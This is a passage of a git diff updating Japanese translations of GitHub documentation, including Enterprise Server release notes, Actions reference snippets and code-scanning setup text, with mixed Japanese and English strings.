%}の強力なソフトウェア開発ワークフローの開発、自動化、カスタマイズ、実行をできるようにしてください。' + versions: + ghes: '*' guides: - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise @@ -64,6 +88,8 @@ configure_github_actions: configure_github_advanced_security: title: '{% data variables.product.prodname_GH_advanced_security %}の設定' description: "{% data variables.product.prodname_GH_advanced_security %}で開発者のコードの品質とセキュリティを改善してください。" + versions: + ghes: '*' guides: - /admin/advanced-security/about-licensing-for-github-advanced-security - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise @@ -73,6 +99,9 @@ configure_github_advanced_security: get_started_with_your_enterprise_account: title: 'Get started with your enterprise account' description: 'Get started with your enterprise account to centrally manage multiple organizations on {% data variables.product.product_name %}.' + versions: + ghes: '*' + ghec: '*' guides: - /admin/overview/about-enterprise-accounts - /billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-0/16.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-0/16.yml index ed8ea0c7e5..94bc5cf4c1 100644 --- a/translations/ja-JP/data/release-notes/enterprise-server/3-0/16.yml +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-0/16.yml @@ -8,6 +8,7 @@ sections: - 'メンテナンスモードの際に、レスキューワーカー数が不正確に表示されました。{% comment %} https://github.com/github/enterprise2/pull/26898, https://github.com/github/enterprise2/pull/26883 {% endcomment %}' - 'クラスタリングモードにおいて、割り当てられたmemcachedのメモリがゼロになることがありました。{% comment %} https://github.com/github/enterprise2/pull/26927, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' - 'Fixes {% data variables.product.prodname_pages %} builds so they take into account the NO_PROXY setting of the appliance. This is relevant to appliances configured with an HTTP proxy only. (update 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}' + - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]' known_issues: - 新しくセットアップされたユーザを持たない{% data variables.product.prodname_ghe_server %}で、攻撃者が最初の管理ユーザを作成できました。 - アップグレードの過程で、カスタムのファイアウォールのルールが削除されます。 diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-0/20.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-0/20.yml new file mode 100644 index 0000000000..96f00dcf71 --- /dev/null +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-0/20.yml @@ -0,0 +1,21 @@ +--- +date: '2021-11-23' +sections: + security_fixes: + - パッケージは最新のセキュリティバージョンにアップデートされました。 + bugs: + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - 新しくセットアップされたユーザを持たない{% data variables.product.prodname_ghe_server %}で、攻撃者が最初の管理ユーザを作成できました。 + - アップグレードの過程で、カスタムのファイアウォールのルールが削除されます。 + - Git LFSが追跡するファイル[Webインターフェースからアップロードされたもの](https://github.com/blog/2105-upload-files-to-your-repositories)が、不正にリポジトリに直接追加されてしまいます。 + - 同じリポジトリ内のファイルパスが255文字を超えるblobへのパーマリンクを含むIssueをクローズできませんでした。 + - GitHub Connectで"Users can search GitHub.com"が有効化されている場合、GitHub.comの検索結果にプライベート及びインターナルリポジトリのIssueが含まれません。 + - High Availability構成でレプリカノードがオフラインの場合でも、{% data variables.product.product_name %}が{% data variables.product.prodname_pages %}リクエストをオフラインのノードにルーティングし続ける場合があり、それによってユーザにとっての{% data variables.product.prodname_pages %}の可用性が下がってしまいます。 + - pre-receive フックの処理に固有のリソース制限によって、pre-receive フックに失敗するものが生じることがあります。 diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-1/12.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-1/12.yml new file mode 100644 index 0000000000..25396c8a5c --- /dev/null +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-1/12.yml @@ -0,0 +1,24 @@ +--- +date: '2021-11-23' +sections: + security_fixes: + - パッケージは最新のセキュリティバージョンにアップデートされました。 + bugs: + - Running `ghe-repl-start` or `ghe-repl-status` would sometimes return errors connecting to the database when GitHub Actions was enabled. + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - 'After setting up a high availability replica, `ghe-repl-status` included an error in the output: `unexpected unclosed action in command`.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - '{% data variables.product.prodname_registry %}のnpmレジストリは、メタデータのレスポンス中で時間の値を返さなくなります。これは、大きなパフォーマンス改善のために行われました。メタデータレスポンスの一部として時間の値を返すために必要なすべてのデータは保持し続け、既存のパフォーマンスの問題を解決した将来に、この値を返すことを再開します。' + - 新しくセットアップされたユーザを持たない{% data variables.product.prodname_ghe_server %}で、攻撃者が最初の管理ユーザを作成できました。 + - アップグレードの過程で、カスタムのファイアウォールのルールが削除されます。 + - Git LFSが追跡するファイル[Webインターフェースからアップロードされたもの](https://github.com/blog/2105-upload-files-to-your-repositories)が、不正にリポジトリに直接追加されてしまいます。 + - 同じリポジトリ内のファイルパスが255文字を超えるblobへのパーマリンクを含むIssueをクローズできませんでした。 + - GitHub Connectで"Users can search GitHub.com"が有効化されている場合、GitHub.comの検索結果にプライベート及びインターナルリポジトリのIssueが含まれません。 + - '{% data variables.product.prodname_ghe_server %}で{% data variables.product.prodname_actions %}が有効化されていると、`ghe-repl-teardown`でのレプリカノードの解体は成功しますが、`ERROR:Running migrations`が返されることがあります。' + - pre-receive フックの処理に固有のリソース制限によって、pre-receive フックに失敗するものが生じることがあります。 diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-1/8.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-1/8.yml index 87e052deda..3ab4def332 100644 --- a/translations/ja-JP/data/release-notes/enterprise-server/3-1/8.yml +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-1/8.yml @@ -9,6 +9,7 @@ sections: - 'クラスタリングモードにおいて、割り当てられたmemcachedのメモリがゼロになることがありました。{% comment %} https://github.com/github/enterprise2/pull/26928, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' - 'Pull Requestの"Files"タブで、空ではないバイナリファイルのファイルタイプやサイズが不正確に表示されました。{% comment %} https://github.com/github/github/pull/192810, https://github.com/github/github/pull/172284, https://github.com/github/coding/issues/694 {% endcomment %}' - 'Fixes {% data variables.product.prodname_pages %} builds so they take into account the NO_PROXY setting of the appliance. This is relevant to appliances configured with an HTTP proxy only. (update 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}' + - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]' known_issues: - '{% data variables.product.prodname_registry %}のnpmレジストリは、メタデータのレスポンス中で時間の値を返さなくなります。これは、大きなパフォーマンス改善のために行われました。メタデータレスポンスの一部として時間の値を返すために必要なすべてのデータは保持し続け、既存のパフォーマンスの問題を解決した将来に、この値を返すことを再開します。' - 新しくセットアップされたユーザを持たない{% data variables.product.prodname_ghe_server %}で、攻撃者が最初の管理ユーザを作成できました。 diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-2/0-rc1.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-2/0-rc1.yml index 8531d3d34c..9e14e739f1 100644 --- a/translations/ja-JP/data/release-notes/enterprise-server/3-2/0-rc1.yml +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-2/0-rc1.yml @@ -53,9 +53,9 @@ sections: heading: 'セキュアな認証情報ストレージGit Credential Manager (GCM)と多要素認証のサポート' notes: - | - Git Credential Manager (GCM) Coreバージョン2.0.452以降は、セキュリティ強化された認証情報のストレージと、{% data variables.product.product_name %}のための多要素認証を提供します。 + Git Credential Manager (GCM) versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}. - {% data variables.product.product_name %}をサポートするGCM Coreは[Git for Windows](https://gitforwindows.org)バージョン2.32以降に含まれています。GCM Coreは、Git for macOSもしくはLinuxには含まれていませんが、個別にインストールすることはできます。詳しい情報については、 `microsoft/Git-Credential-Manager-Core`リポジトリ中の[最新のリリース](https://github.com/microsoft/Git-Credential-Manager-Core/releases/)及び[インストール手順](https://github.com/microsoft/Git-Credential-Manager-Core/releases/)を参照してください。 + GCM with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/GitCredentialManager/git-credential-manager/releases/) and [installation instructions](https://github.com/GitCredentialManager/git-credential-manager/releases/) in the `GitCredentialManager/git-credential-manager` repository. changes: - heading: 管理に関する変更 diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-2/0.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-2/0.yml index cf7b41bf78..4f9b1189ef 100644 --- a/translations/ja-JP/data/release-notes/enterprise-server/3-2/0.yml +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-2/0.yml @@ -51,9 +51,9 @@ sections: heading: 'セキュアな認証情報ストレージGit Credential Manager (GCM)と多要素認証のサポート' notes: - | - Git Credential Manager (GCM) Coreバージョン2.0.452以降は、セキュリティ強化された認証情報のストレージと、{% data variables.product.product_name %}のための多要素認証を提供します。 + Git Credential Manager (GCM) versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}. - {% data variables.product.product_name %}をサポートするGCM Coreは[Git for Windows](https://gitforwindows.org)バージョン2.32以降に含まれています。GCM Coreは、Git for macOSもしくはLinuxには含まれていませんが、個別にインストールすることはできます。詳しい情報については、 `microsoft/Git-Credential-Manager-Core`リポジトリ中の[最新のリリース](https://github.com/microsoft/Git-Credential-Manager-Core/releases/)及び[インストール手順](https://github.com/microsoft/Git-Credential-Manager-Core/releases/)を参照してください。 + GCM with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/GitCredentialManager/git-credential-manager/releases/) and [installation instructions](https://github.com/GitCredentialManager/git-credential-manager/releases/) in the `GitCredentialManager/git-credential-manager` repository. changes: - heading: 管理に関する変更 diff --git a/translations/ja-JP/data/release-notes/enterprise-server/3-2/4.yml b/translations/ja-JP/data/release-notes/enterprise-server/3-2/4.yml new file mode 100644 index 0000000000..f2917e0daa --- /dev/null +++ b/translations/ja-JP/data/release-notes/enterprise-server/3-2/4.yml @@ -0,0 +1,29 @@ +--- +date: '2021-11-23' +intro: 複数のお客様に影響する重大なバグのため、ダウンロードは無効になりました。修正は次回のパッチで利用可能になります。 +sections: + security_fixes: + - パッケージは最新のセキュリティバージョンにアップデートされました。 + bugs: + - Running `ghe-repl-start` or `ghe-repl-status` would sometimes return errors connecting to the database when GitHub Actions was enabled. + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - 'Running `ghe-support-bundle` returned an error: `integer expression expected`.' + - 'After setting up a high availability replica, `ghe-repl-status` included an error in the output: `unexpected unclosed action in command`.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + - The repository permissions to the user returned by the `/repos` API would not return the full list. + - The `childTeams` connection on the `Team` object in the GraphQL schema produced incorrect results under some circumstances. + - In a high availability configuration, repository maintenance always showed up as failed in stafftools, even when it succeeded. + - User defined patterns would not detect secrets in files like `package.json` or `yarn.lock`. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - 新しくセットアップされたユーザを持たない{% data variables.product.prodname_ghe_server %}で、攻撃者が最初の管理ユーザを作成できました。 + - アップグレードの過程で、カスタムのファイアウォールのルールが削除されます。 + - Git LFSが追跡するファイル[Webインターフェースからアップロードされたもの](https://github.com/blog/2105-upload-files-to-your-repositories)が、不正にリポジトリに直接追加されてしまいます。 + - 同じリポジトリ内のファイルパスが255文字を超えるblobへのパーマリンクを含むIssueをクローズできませんでした。 + - GitHub Connectで"Users can search GitHub.com"が有効化されている場合、GitHub.comの検索結果にプライベート及びインターナルリポジトリのIssueが含まれません。 + - '{% data variables.product.prodname_registry %}のnpmレジストリは、メタデータのレスポンス中で時間の値を返さなくなります。これは、大きなパフォーマンス改善のために行われました。メタデータレスポンスの一部として時間の値を返すために必要なすべてのデータは保持し続け、既存のパフォーマンスの問題を解決した将来に、この値を返すことを再開します。' + - pre-receive フックの処理に固有のリソース制限によって、pre-receive フックに失敗するものが生じることがあります。 diff --git a/translations/ja-JP/data/reusables/actions/about-actions.md b/translations/ja-JP/data/reusables/actions/about-actions.md new file mode 100644 index 0000000000..995119f59d --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/about-actions.md @@ -0,0 +1 @@ +{% data variables.product.prodname_actions %} is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline. diff --git a/translations/ja-JP/data/reusables/actions/about-artifact-log-retention.md b/translations/ja-JP/data/reusables/actions/about-artifact-log-retention.md index fd8e54e2b2..69137f4d46 100644 --- a/translations/ja-JP/data/reusables/actions/about-artifact-log-retention.md +++ b/translations/ja-JP/data/reusables/actions/about-artifact-log-retention.md @@ -1,6 +1,9 @@ デフォルトでは、ワークフローによって生成された成果物とログファイルは、90日間保持された後自動的に削除されます。 この保持の期間は、リポジトリの種類によって調整できます。 +{%- ifversion fpt or ghec or ghes %} - パブリックリポジトリの場合: この保持時間を1日から90日の間で変更できます。 -- プライベート、インターナル、{% data variables.product.prodname_ghe_server %}リポジトリの場合: この保持期間を1日から400日の間で変更できます。 +{%- endif %} + +- For private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories: you can change this retention period to anywhere between 1 day or 400 days. 保持期間をカスタマイズした場合、適用されるのは新しい成果物とログファイルに対してであり、既存のオブジェクトにさかのぼっては適用されません。 管理されたリポジトリ及びOrganizationについては、最大の保持期間は管理するOrganizationあるいはEnterpriseによって設定された上限を超えることはできません。 diff --git a/translations/ja-JP/data/reusables/actions/about-runners.md b/translations/ja-JP/data/reusables/actions/about-runners.md new file mode 100644 index 0000000000..0b661b9ecf --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/about-runners.md @@ -0,0 +1 @@ +A runner is a server that runs your workflows when they're triggered. diff --git a/translations/ja-JP/data/reusables/actions/access-actions-on-dotcom.md b/translations/ja-JP/data/reusables/actions/access-actions-on-dotcom.md new file mode 100644 index 0000000000..9c3ad322e1 --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/access-actions-on-dotcom.md @@ -0,0 +1 @@ +Enterprise のユーザが {% data variables.product.prodname_dotcom_the_website %} または {% data variables.product.prodname_marketplace %} からの他のアクションにアクセスする必要がある場合、いくつかの設定オプションがあります。 diff --git a/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md b/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md index ab3790c6f1..dedb56e41f 100644 --- a/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| アクション | 説明 | -| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| アクション | 説明 | +| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} | `cancel_workflow_run` | ワークフローの実行がキャンセルされたときにトリガーされます。 For more information, see "[Canceling a workflow](/actions/managing-workflow-runs/canceling-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `completed_workflow_run` | ワークフローのステータスが`completed`に変更されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `created_workflow_run` | ワークフローの実行が作成されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Create an example workflow](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | ワークフローの実行が削除されたときにトリガーされます。 詳しい情報については「[ワークフローの実行の削除](/actions/managing-workflow-runs/deleting-a-workflow-run)」を参照してください。 | -| `disable_workflow` | ワークフローが無効化されたときにトリガーされます。 | -| `enable_workflow` | 以前に`disable_workflow`によって無効化されたワークフローが有効化されたときにトリガーされます。 | +| `delete_workflow_run` | ワークフローの実行が削除されたときにトリガーされます。 詳しい情報については「[ワークフローの実行の削除](/actions/managing-workflow-runs/deleting-a-workflow-run)」を参照してください。 | +| `disable_workflow` | ワークフローが無効化されたときにトリガーされます。 | +| `enable_workflow` | 以前に`disable_workflow`によって無効化されたワークフローが有効化されたときにトリガーされます。 | | `delete_workflow_run` | ワークフローの実行が再実行されたときにトリガーされます。 For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | ワークフロージョブが開始されたときにトリガーされます。 ジョブに渡されたシークレットのリストを含みます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | +| `prepared_workflow_job` | ワークフロージョブが開始されたときにトリガーされます。 ジョブに渡されたシークレットのリストを含みます。 Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | | `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} diff --git a/translations/ja-JP/data/reusables/actions/actions-bundled-with-ghes.md b/translations/ja-JP/data/reusables/actions/actions-bundled-with-ghes.md new file mode 100644 index 0000000000..5144bfd8e5 --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/actions-bundled-with-ghes.md @@ -0,0 +1 @@ +ほとんどの公式の {% data variables.product.prodname_dotcom %} 作成のアクションは自動的に {% data variables.product.product_name %} にバンドルされ、{% data variables.product.prodname_marketplace %} からある時点でキャプチャされます。 \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/actions/general-security-hardening.md b/translations/ja-JP/data/reusables/actions/general-security-hardening.md new file mode 100644 index 0000000000..802a402c6b --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/general-security-hardening.md @@ -0,0 +1,3 @@ +## {% data variables.product.prodname_actions %} の一般的なセキュリティ強化 + +{% data variables.product.prodname_actions %} のセキュリティプラクティスについて詳しく学ぶには、「[{% data variables.product.prodname_actions %} のセキュリティ強化](/actions/learn-github-actions/security-hardening-for-github-actions)」を参照してください。 \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/actions/introducing-enterprise.md b/translations/ja-JP/data/reusables/actions/introducing-enterprise.md new file mode 100644 index 0000000000..b7e8b0856c --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/introducing-enterprise.md @@ -0,0 +1 @@ +Before you get started, you should make a plan for how you'll introduce {% data variables.product.prodname_actions %} to your enterprise. For more information, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/actions/migrating-enterprise.md b/translations/ja-JP/data/reusables/actions/migrating-enterprise.md new file mode 100644 index 0000000000..9876b13360 --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/migrating-enterprise.md @@ -0,0 +1 @@ +If you're migrating your enterprise to {% data variables.product.prodname_actions %} from another provider, there are additional considerations. For more information, see "[Migrating your enterprise to {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions)." \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/actions/pass-inputs-to-reusable-workflows.md b/translations/ja-JP/data/reusables/actions/pass-inputs-to-reusable-workflows.md new file mode 100644 index 0000000000..8769f339da --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/pass-inputs-to-reusable-workflows.md @@ -0,0 +1,13 @@ +To pass named inputs to a called workflow, use the `with` keyword in a job. Use the `secrets` keyword to pass named secrets. For inputs, the data type of the input value must match the type specified in the called workflow (either boolean, number, or string). + +{% raw %} +```yaml +jobs: + call-workflow-passing-data: + uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main + with: + username: mona + secrets: + envPAT: ${{ secrets.envPAT }} +``` +{% endraw %} \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/actions/self-hosted-runner-ports-protocols.md b/translations/ja-JP/data/reusables/actions/self-hosted-runner-ports-protocols.md new file mode 100644 index 0000000000..486bb3838a --- /dev/null +++ b/translations/ja-JP/data/reusables/actions/self-hosted-runner-ports-protocols.md @@ -0,0 +1,3 @@ +{% ifversion ghes or ghae %} +The connection between self-hosted runners and {% data variables.product.product_name %} is over HTTP (port 80) and HTTPS (port 443). +{% endif %} \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/advanced-security/check-for-ghas-license.md b/translations/ja-JP/data/reusables/advanced-security/check-for-ghas-license.md new file mode 100644 index 0000000000..bc8a36a0fc --- /dev/null +++ b/translations/ja-JP/data/reusables/advanced-security/check-for-ghas-license.md @@ -0,0 +1 @@ +You can identify if your enterprise has a {% data variables.product.prodname_GH_advanced_security %} license by reviewing {% ifversion ghes = 3.0 %}the {% data variables.enterprise.management_console %}{% elsif ghes > 3.0 %}your enterprise settings{% endif %}. For more information, see "[Enabling GitHub Advanced Security for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise#checking-whether-your-license-includes-github-advanced-security)." diff --git a/translations/ja-JP/data/reusables/code-scanning/enabling-options.md b/translations/ja-JP/data/reusables/code-scanning/enabling-options.md index 413751adcd..3a34c6284b 100644 --- a/translations/ja-JP/data/reusables/code-scanning/enabling-options.md +++ b/translations/ja-JP/data/reusables/code-scanning/enabling-options.md @@ -19,10 +19,10 @@ {%- ifversion fpt or ghes > 3.0 or ghae-next %} | -{% data variables.product.prodname_codeql %} | {% data variables.product.prodname_actions %}の利用（「[Actionsを使う{% data variables.product.prodname_code_scanning %}のセットアップ](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)」）もしくはサードパーティの継続的インテグレーション（CI）システムでの{% data variables.product.prodname_codeql %}分析の実行（「[CIシステムでの{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}）](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)」）。 +{% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or running {% data variables.product.prodname_codeql %} analysis in a third-party continuous integration (CI) system (see "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)"). {%- else %} | -{% data variables.product.prodname_codeql %} | {% data variables.product.prodname_actions %}の利用（「[アクションを使う{% data variables.product.prodname_code_scanning %}のセットアップ](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)」参照）あるいはサードパーティの継続的インテグレーション（CI）システム中での{% data variables.product.prodname_codeql_runner %}の利用（「[CIシステム中での{% data variables.product.prodname_codeql %}コードスキャンの実行](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)」参照）。 +{% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or using the {% data variables.product.prodname_codeql_runner %} in a third-party continuous integration (CI) system (see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system)"). {%- endif %} | サードパーティ | -{% data variables.product.prodname_actions %}の利用（「[アクションを使う{% data variables.product.prodname_code_scanning %}のセットアップ](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)」）あるいは外部で生成して{% data variables.product.product_name %}へアップロード（「[{% data variables.product.prodname_dotcom %}へのSARIFファイルのアップロード](/github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github)」）。 +{% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or generated externally and uploaded to {% data variables.product.product_name %} (see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)").| diff --git a/translations/ja-JP/data/reusables/enterprise_management_console/advanced-security-license.md b/translations/ja-JP/data/reusables/enterprise_management_console/advanced-security-license.md index 501106cd13..eda811e7fe 100644 --- a/translations/ja-JP/data/reusables/enterprise_management_console/advanced-security-license.md +++ b/translations/ja-JP/data/reusables/enterprise_management_console/advanced-security-license.md @@ -1 +1 @@ -If you can't see {% ifversion ghes < 3.2 %}**{% data variables.product.prodname_advanced_security %}**{% else %}**Security**{% endif %} in the sidebar, it means that your license doesn't include support for {% data variables.product.prodname_advanced_security %} features, including {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}. {% data variables.product.prodname_advanced_security %} ライセンスを使用すると、リポジトリとコードのセキュリティを強化するのに役立つ機能にアクセスできます。 {% ifversion ghes %}詳しい情報については「[GitHub Advanced Securityについて](/github/getting-started-with-github/about-github-advanced-security)」を参照するか、{% data variables.contact.contact_enterprise_sales %}に連絡してください。{% endif %} +サイドバーに**{% data variables.product.prodname_advanced_security %}**が表示されない場合は、{% data variables.product.prodname_code_scanning %}及び{% data variables.product.prodname_secret_scanning %}を含む{% data variables.product.prodname_advanced_security %}の機能のサポートがライセンスに含まれていないということです。 {% data variables.product.prodname_advanced_security %} ライセンスを使用すると、リポジトリとコードのセキュリティを強化するのに役立つ機能にアクセスできます。 For more information, see "[About GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security)" or contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/ja-JP/data/reusables/gated-features/dependency-review.md b/translations/ja-JP/data/reusables/gated-features/dependency-review.md index e9c8291901..0a7c119f65 100644 --- a/translations/ja-JP/data/reusables/gated-features/dependency-review.md +++ b/translations/ja-JP/data/reusables/gated-features/dependency-review.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghec %}Dependency review is available for all public repositories and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} +{% ifversion fpt or ghec %}Dependency review is available for all public repositories, as well as well as private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} {% ifversion ghes > 3.1 %}Dependency review is available for organization-owned repositories where {% data variables.product.prodname_GH_advanced_security %} is 